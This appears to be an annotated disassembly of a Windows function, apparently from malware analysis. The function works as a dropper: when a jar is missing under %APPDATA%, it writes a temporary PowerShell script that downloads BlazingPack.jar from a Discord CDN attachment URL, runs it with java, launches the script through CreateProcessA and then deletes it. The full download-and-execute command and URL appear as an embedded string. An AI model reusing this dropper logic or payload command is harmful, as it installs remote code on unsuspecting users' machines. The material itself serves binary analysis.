Function at 0x140046d70
Capabilities:
Check if file exists
Create process on windows
Delete file
Query environment variable

Disassembly:
push rbp
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x14006c010]
xor rax, rsp
mov qword [rbp + 0x350], rax
mov r8d, 0x104
lea rdx, [rbp + 0x240]
lea rcx, str._APPDATA_LocalBlazingPack
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov r8d, 0x104
lea rdx, [rbp + 0x130]
lea rcx, str._APPDATA_LocalBlazingPackBlazingPack.jar
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rcx, [rbp + 0x130]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140046ffb
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x20]
call fcn.1400460b0
nop
cmp qword [rbp + 0xa8], 0
je 0x140046e3a
lea rdx, str._n_________downloadDirectory__Join_Path__env:APPDATA_LocalBlazingPack_n_________downloadFilePath__Join_Path__downloadDirectory_BlazingPack.jar_n_n_________Create_the_directory_if_it_doesnt_exist_n________if___not__Test_Path__Path__downloadDirectory__PathType_Container____n____________New_Item__Path__downloadDirectory__ItemType_Directory__Force_n_________n_n_________Download_the_file_n________Invoke_WebRequest__Uri__https:__cdn.discordapp.com_attachments_1178015972687368203_1178496689334652959_BlazingPack.jar_ex65765b92is6563e692hm1650a1ade11f7a77e0c04118af5c114d1817a4fbe2843d2a83ff90e9d0fcfa48___OutFile__downloadFilePath_n________java__jar__downloadFilePath_n
lea rcx, [rbp + 0x20]
call fcn.140046620
lea rcx, [rbp + 0x28]
call fcn.140046530
test rax, rax
jne 0x140046e3a
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movdqa xmm0, xmmword [0x140061ee0]
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], 0xf
mov rax, qword [str.temp.ps1]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], 0
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.1400467f0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140046eb1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046eac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046eac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140058c94
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140046f66
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.temp.ps1
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140046f66
lea rcx, str.temp.ps1
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140046fa4
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046f9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046f9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140058c94
movdqa xmm0, xmmword [0x140061f00]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x28]
call fcn.140046040
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.140058870
add rsp, 0x460
pop rbp
ret